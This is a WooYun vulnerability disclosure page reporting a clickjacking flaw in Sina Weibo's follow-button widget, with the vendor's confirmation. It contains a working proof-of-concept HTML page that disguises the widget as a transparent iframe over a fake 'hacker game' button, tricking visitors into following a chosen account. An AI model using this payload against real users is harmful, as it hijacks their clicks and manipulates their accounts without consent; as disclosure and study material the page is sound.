当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168789

漏洞标题:新浪微博ClickhiJacking刷关注

相关厂商:新浪

漏洞作者: 拿破轮胎

提交时间:2016-01-11 11:35

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:2

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-11: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-31: 细节向普通白帽子公开
2016-02-10: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

新浪微博ClickhiJacking刷关注

详细说明:

微博主站和手机站均检测了是否被iframe 不过 关注按钮 却没有检测
你看着是这样的

1.png


实际上他是这样的

QQ截图20160110001247.png


点击之后是这样的

QQ截图20160110001304.png


漏洞证明:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>黑客通关游戏</title>
<style>
body{
background: black;
}
div{
position: relative;
width: 500px;
margin: 0 auto;
text-align: center;
color: red;
font-size: 35px;
}
iframe {

position: absolute;
bottom: -128px;
right: -11px;
z-index: 2;
-moz-opacity: 10;
opacity: 0;
filter: alpha(opacity=0);
-moz-opacity:0;
-khtml-opacity: 0;
opacity: 0;
}

</style>
</head>
<body>
<div>
<p>黑客通关游戏</p>
<form action="#" method="post">

<input type="password" style="width:350px;">
<p>
<button>确定</button>


</p>
<iframe src="http://widget.weibo.com/relationship/followbutton.php?uid=5219676837" scrolling="no"></iframe>
</form>
</div>

</body>
</html>

修复方案:

版权声明:转载请注明来源 拿破轮胎@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2016-01-11 12:21

厂商回复:

感谢关注新浪安全,漏洞修复中

最新状态:

暂无